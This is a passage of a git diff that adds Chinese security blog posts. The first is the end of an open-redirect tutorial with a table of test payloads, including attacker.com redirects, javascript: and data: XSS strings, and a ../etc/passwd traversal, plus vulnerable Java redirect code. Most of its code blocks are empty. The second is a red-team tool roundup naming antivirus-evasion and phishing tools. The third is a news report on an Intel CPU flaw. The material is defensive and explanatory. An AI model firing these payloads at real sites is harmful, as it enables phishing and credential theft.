+等参数 +- 302状态码或HTML meta刷新跳转 +- 跳转后地址与当前域名不相关 +- 出现异常协议(如data: +、ftp: +)或伪协议 +## 3. 漏洞危害 + +
风险类型具体危害案例说明
钓鱼攻击窃取凭证/财务信息伪造银行登录页窃取账号密码
恶意软件分发诱导下载木马/勒索软件"系统更新"提示下载带毒程序
信任欺骗利用可信域名背书https://company.com -> https://company-com.fake/login
绕过检测规避安全防护机制通过可信站点中转恶意链接
存储型XSS配合脚本注入攻击redirectUrl=data:text/html,alert(1)
+## 4. 黑盒渗透测试方法 +### 4.1 基础探测 +``` +``` +### 4.2 测试Payload清单 + +
测试类型测试Payload
外部域名?url=https://attacker.com
特殊协议?forward=ftp://evil.net
JS伪协议?target=javascript:alert(document.domain)
编码绕过?jump=https%3A%2F%2Fattacker.com
双重编码?return=%252F%252Fevil.com
IP地址?to=http://192.168.1.1
目录穿越?next=/../../../../etc/passwd
空字节注入?url=https://trusted.com\0.evil.com
+### 4.3 Burp Suite自动化 +``` +``` +## 5. Java白盒审计指南 +### 5.1 审计流程 + + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/FUyHlHlguEiaCic0IynwTiaILJcaf1r1xEyepicwG9YKQoAN3DaAnGiaECKtm3R3s1AGXVvDGxeXtz8pgy1yNbqFESQ/640?wx_fmt=png&from=appmsg&watermark=1&tp=webp&wxfrom=5&wx_lazy=1 "") +### 5.2 关键审计点 +1. **定位危险方法** +: +``` +``` + +1. **回溯数据流** +: +``` +``` + +1. **验证防护逻辑** +: + +1. 白名单域名检查 +1. 协议限制(仅允许http/https) +1. URL规范化处理 +1. 路径合法性验证 +## 6. Java中的关键代码 +### 6.1 危险重定向方法 + +
方法类型危险代码示例
Servlet APIresponse.sendRedirect(untrustedUrl);
Location Headerresponse.setHeader("Location", inputUrl);
Spring Redirectreturn "redirect:" + request.getParam("url");
ModelAndViewnew ModelAndView("redirect:" + target);
RedirectViewnew RedirectView(userControlledUrl);
+### 6.2 安全重定向示例 +``` +``` +## 7. PHP中的关键代码 +### 危险重定向函数: +``` +``` +### 安全重定向实现: +``` +``` +## 8. Java漏洞代码 +### 漏洞特征代码: +``` +``` +### 漏洞修复要点: +1. **白名单校验** +:建立可跳转域名/路径白名单 +1. **协议过滤** +:仅允许http/https协议 +1. **URL规范化** +:使用URI +类解析标准化URL +1. **域名验证** +:验证目标域名是否在可信列表 +1. **相对路径处理** +:禁止以../ +开头的相对路径 +## 9.实战 +#### redirect +``` +``` + +没有任何限制,可以直接随意跳转 + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/FUyHlHlguEiaCic0IynwTiaILJcaf1r1xEyGOel3gvdiaD7EYysUeP2eD5q5qGASdnuPuVIicn4KJibvo10wF8B0pyiag/640?wx_fmt=png&from=appmsg&watermark=1&tp=webp&wxfrom=5&wx_lazy=1 "") + +#### ModelAndView +``` +``` + + +没有任何限制,同样随意跳转 + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/FUyHlHlguEiaCic0IynwTiaILJcaf1r1xEyR1I1lGAViaXo3fWDVef6ROK2hQ05lgYZont6nVwbTVw4JN59avsNEIA/640?wx_fmt=png&from=appmsg&watermark=1&tp=webp&wxfrom=5&wx_lazy=1 "") +#### response.sendRedirect +``` +``` +## 没有任何限制,同样随意跳转 + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/FUyHlHlguEiaCic0IynwTiaILJcaf1r1xEyYNzfrpzhpV1aOSFWiamcS12ELsAc8UBYOw4VBxibOPtzEtrFhlrnyic1Q/640?wx_fmt=png&from=appmsg&watermark=1&tp=webp&wxfrom=5&wx_lazy=1 "") +## 10.安全代码 + +白名单模式 +``` +``` + diff --git a/doc/2025-06/红队终极指南:“A-poc∕RedTeam-Tools”.md b/doc/2025-06/红队终极指南:“A-poc∕RedTeam-Tools”.md new file mode 100644 index 00000000..6f59a85e --- /dev/null +++ b/doc/2025-06/红队终极指南:“A-poc∕RedTeam-Tools”.md @@ -0,0 +1,101 @@ +# 红队终极指南:“A-poc/RedTeam-Tools” +原创 破天KK KK安全说 2025-06-18 13:07 + +![](https://mmbiz.qpic.cn/mmbiz_png/niaMibh6Pic6RY9JpiaAmp0WASm4VYibaJ5fhn1Es7Ed65rpMgbOQ3NuBsbia6j5fhNeOcdibrJy8NNtsicP1MGDQla0uQ/640?wx_fmt=png&from=appmsg "") + +    网络安全一直在发展,那么红队行动呢?好吧,对于希望通过扮演坏人角色(以一种好的方式!)来增强防御能力的公司来说,这几乎是秘密武器。 + +在浩瀚的工具和技巧海洋中,GitHub 存储库 A-poc/RedTeam-Tools 脱颖而出,成为绝佳发现。 + +对于红队成员来说,这就像中了头彩,拥有超过 130 种工具和道具,可以应对几乎所有网络攻击动作。 + +本文开始探索 A-poc/RedTeam-Tools 存储库,释放每类工具的潜力,并深入了解如何利用这些资源来提高红队活动的有效性。 + +## GitHub — A-poc/RedTeam-Tools:红队/渗透测试的工具和技术 + +从侦察和资源开发到执行、持久性和影响,我们深入研究这个 GitHub 存储库提供的武器库,阐明每个领域内选定工具的功能和应用。 + +A-poc/RedTeam 工具 +## 侦察:绘制战场地图 + +任何成功的网络行动的基础都是坚实的侦察。了解数字地形并找出漏洞是制定有效战略的关键。此类别中的工具可帮助您秘密高效地发现有价值的信息。 +- crt.sh -> httprobe -> EyeWitness +:强大的三重奏,可为您提供目标域环境的全面视图。首先使用 crt.sh 获取证书透明度日志,使用 httprobe 检查实时 Web 服务器,然后使用 EyeWitness 捕获 Web 服务的屏幕截图。 + +- jsendpoints +:仔细检查 JavaScript 文件以查找可能暴露不为公众所知的内部路径和服务的隐藏端点。 + +- nuclei +:nuclei 是一种多功能的漏洞扫描工具,可让您快速识别 Web 应用程序中的潜在安全漏洞。 + +## 资源开发:制造攻城器械 + +创建有效的工具和有效载荷是一门艺术。本节重点介绍如何开发绕过防御的资源,提供可利用侦察期间发现的漏洞的有效载荷。 +- Chimera +:专门混淆 PowerShell 脚本,使其对防病毒解决方案几乎不可见,非常适合传递未被发现的有效载荷。 + +- msfvenom +:作为 Metasploit 框架的一部分,msfvenom 对于创建自定义漏洞、有效载荷和 shellcode 至关重要。 + +- Shellter +:一种动态 shellcode 注入工具,可将恶意代码注入本机 Windows 应用程序中,保留主机的功能以避免引起怀疑。 + +## 初始访问和执行:进入的艺术 + +获得系统或网络访问权限是精心规划和执行精心设计的资源的最终结果。这些工具有助于进入系统或网络,从而实现下一阶段的行动。 +- EvilGoPhish +:精心设计令人信服的网络钓鱼活动,诱骗用户授予访问权限或泄露信息。 + +- evil-winrm +:提供一个强大的 shell 用于与 Windows 远程管理 (WinRM) 交互,非常适合后利用阶段。 + +## 坚持:稳固立足点 + +一旦进入目标环境,保持访问权限对于深入探索和实现运营目标至关重要。这些工具有助于确保在目标环境中持续存在。 +- Impacket +:用于网络协议操作的 Python 脚本集合,支持多种维护访问的技术。 + +- Empire +:一个 PowerShell 和 Python 后开发代理,擅长维护对受感染系统的访问和控制。 + +## 影响:展示风险 + +说明漏洞的潜在影响至关重要。这些工具允许红队成员模拟攻击并展示安全漏洞的后果。 +- SlowLoris +:以最小带宽执行拒绝服务(DoS)攻击,模拟 DoS 漏洞的威胁。 + +- usbkill +:一种防御工具,当检测到未经授权的 USB 设备时,它会充当终止开关,从而显示物理安全风险。 + +# 结论:为什么 A-poc/RedTeam-Tools 值得关注 + +在网络安全领域,威胁的演变速度比分类速度要快得多,A-poc/RedTeam-Tools 存储库是那些致力于道德黑客和红队技术的人的灯塔。无论您是想要完善武器库的经验丰富的老手,还是渴望学习诀窍的新手,此集合都为每个人提供了有价值的东西。 + +这就是为什么你应该深入研究这个存储库的原因: +- 全面的工具选择 +:拥有超过 130 种工具和资源,几乎涵盖了红队行动的每个阶段,从初步侦察到展示影响。此存储库是您增强网络攻击能力的一站式商店。 + +- 最新技术 +:网络安全是一场与时间的赛跑,攻击者不断改进其方法。A-poc/RedTeam-Tools 始终处于最前沿,为您提供最新策略,确保您的防御和进攻战术达到标准。 + +- 社区智慧 +:除了工具之外,该存储库还是集体知识的宝库,提供最佳实践、操作建议和道德准则,强调负责任的红队的重要性。 + +- 可访问性和教育 +:无论您的目标是在 CTF 挑战中突破模拟环境,还是通过模拟攻击加强组织的防御,A-poc/RedTeam-Tools 都可以作为一种教育资源,帮助您更深入地了解网络威胁和防御。 + +- 道德黑客赋权 +:强调黑客的道德方面,这个存储库为您提供产生积极影响的知识和工具,确保您可以在不超越法律和道德界限的情况下测试和加强网络安全措施。 + +最后,A-poc/RedTeam-Tools 不仅仅是一个 GitHub 存储库;它还致力于持续的网络安全斗争。通过探索这些工具并吸收其中分享的智慧,您不仅可以提高自己的技能,还可以为每个人创造更安全的数字世界。 + +那么,为什么要查看 A-poc/RedTeam-Tools?因为在负责任且有道德的网络安全专业人员手中,这些工具和知识可以决定是入侵还是堡垒。深入研究、学习并回馈维护数字前沿安全的社区。 + +在这里查看存储库: + +## GitHub - A-poc/RedTeam-Tools,红队/渗透测试的工具和技术 +### https://github.com/A-poc/RedTeam-Tools?source=post_page-----69645572cf0f-------------------------------- + +请记住,能力越大,责任越大。明智、合乎道德地使用这些工具,并始终遵守法律。祝您黑客愉快! + + diff --git a/doc/2025-06/英特尔 CPU 新漏洞导致特权内存中的敏感数据泄露.md b/doc/2025-06/英特尔 CPU 新漏洞导致特权内存中的敏感数据泄露.md new file mode 100644 index 00000000..a1190452 --- /dev/null +++ b/doc/2025-06/英特尔 CPU 新漏洞导致特权内存中的敏感数据泄露.md @@ -0,0 +1,63 @@ +# 英特尔 CPU 新漏洞导致特权内存中的敏感数据泄露 +Rhinoer 犀牛安全 2025-06-18 16:00 + +![](https://mmbiz.qpic.cn/mmbiz_png/qvpgicaewUBlkqb2UwXDnXb0MYfKajE4r3hglaicFbk8tb4kjw2w4DGgfIIx1JuicqfdjBPknoQmiaOILG6vJ57ALA/640?wx_fmt=png&from=appmsg "") + +所有现在使用的英特尔 CPU 中都存在一个新的“分支权限注入”漏洞,该漏洞允许攻击者从分配给特权软件(如操作系统内核)的内存区域中泄露敏感数据。 + +通常,这些区域包含密码、加密密钥、其他进程的内存和内核数据结构等信息,因此保护它们免遭泄漏至关重要。 + +据苏黎世联邦理工学院研究人员Sandro Rüegge、Johannes Wikner 和 Kaveh Razavi 称,Spectre v2 缓解措施已持续六年,但他们最新的“分支预测器竞争条件”漏洞有效地绕过了这些措施。 + +该漏洞被命名为“分支特权注入”,编号为CVE-2024-45332,是英特尔 CPU 中使用的分支预测器子系统的竞争条件。 + +分支预测器(例如分支目标缓冲区 (BTB) 和间接分支预测器 (IBP))是专门的硬件组件,它们会在分支指令解析之前尝试猜测其结果,以保持 CPU 流水线满载,从而实现最佳性能。 + +这些预测都是推测性的,这意味着如果最终结果错误,预测结果就会被撤销。然而,如果预测正确,性能就会提高。 + +研究人员发现,英特尔的分支预测器更新与指令执行不同步,导致这些更新跨越特权边界。 + +如果发生权限切换,例如从用户模式切换到内核模式,则存在一个很小的机会窗口,在此期间更新与错误的权限级别相关联。 + +结果,用户和内核之间的隔离被打破,非特权用户可以泄露特权进程的数据。 + +苏黎世联邦理工学院的团队开发了一种漏洞,可以训练 CPU 预测特定的分支目标,然后进行系统调用将执行移至操作系统内核,从而使用攻击者控制的目标(“小工具”)进行推测执行。 + +该代码访问加载到缓存中的秘密数据,并使用侧信道方法将内容泄露给攻击者。 + +研究人员在启用默认缓解措施的 Ubuntu 24.04 上演示了他们的攻击,以读取包含哈希帐户密码的“/etc/shadow/”文件的内容。该漏洞的峰值泄漏速率可达 5.6 KB/秒,准确率高达 99.8%。 + +![](https://mmbiz.qpic.cn/mmbiz_png/qvpgicaewUBlkqb2UwXDnXb0MYfKajE4r4G7gHKMIomc5uKgP4t12nZxib3CAJNfS81lsVkZczczAQrIQJKrgpaA/640?wx_fmt=png&from=appmsg "") + +影响和修复 + +CVE-2024-45332 影响第九代及以后的所有英特尔 CPU,包括 Coffee Lake、Comet Lake、Rocket Lake、Alder Lake 和 Raptor Lake。 + +研究人员解释说:“自第 9 代(Coffee Lake Refresh)以来的所有英特尔处理器都受到分支权限注入的影响。” + +“然而,我们早在第 7 代(Kaby Lake)处理器上就观察到绕过间接分支预测屏障(IBPB)的预测。” + +苏黎世联邦理工学院的研究人员目前尚未测试老一代产品,但由于它们不支持增强型间接分支限制推测 (eIBRS),因此它们与这一特定漏洞的相关性较小,并且可能更容易受到类似旧版 Spectre v2 的攻击。 + +Arm Cortex-X1、Cortex-A76 以及 AMD Zen 5 和 Zen 4 芯片也接受了检查,但它们没有表现出相同的异步预测器行为,因此不易受到 CVE-2024-45332 的攻击。 + +![](https://mmbiz.qpic.cn/mmbiz_png/qvpgicaewUBlkqb2UwXDnXb0MYfKajE4rp3IBTZAGeK330w70gQwGzW9J7PYiaCsgxYpic67WhicibYiaVXWK9fUSk9Q/640?wx_fmt=png&from=appmsg "") + +尽管该攻击是在 Linux 上演示的,但该漏洞存在于硬件级别,因此理论上在 Windows 上也可以利用。 + +研究人员于 2024 年 9 月向英特尔报告了他们的发现,该科技巨头发布了微代码更新,以缓解受影响型号上的 CVE-2024-45332。 + +固件级缓解措施会带来 2.7% 的性能开销,而软件缓解措施会对性能产生 1.6% 到 8.3% 的影响,具体取决于 CPU。 + +对于普通用户来说,风险较低,攻击需要满足多个强有力的先决条件才能开启现实的利用场景。即便如此,我们仍建议应用最新的 BIOS/UEFI 和操作系统更新。 + +苏黎世联邦理工学院将在即将举行的USENIX Security 2025大会上以技术论文的形式介绍其漏洞的全部细节 。 + +5 月 13 日更新 - 英特尔发布了有关 CVE-2024-45332 的安全公告 ,并向 BleepingComputer 发送了以下评论:  + +我们感谢苏黎世联邦理工学院在这项研究以及协调公开披露方面的合作。英特尔正在加强其 Spectre v2 硬件缓解措施,并建议客户联系其系统制造商获取相应的更新。迄今为止,英特尔尚未发现任何利用瞬时执行漏洞的实际案例。——英特尔发言人 + + +信息来源:B +leepingComputer +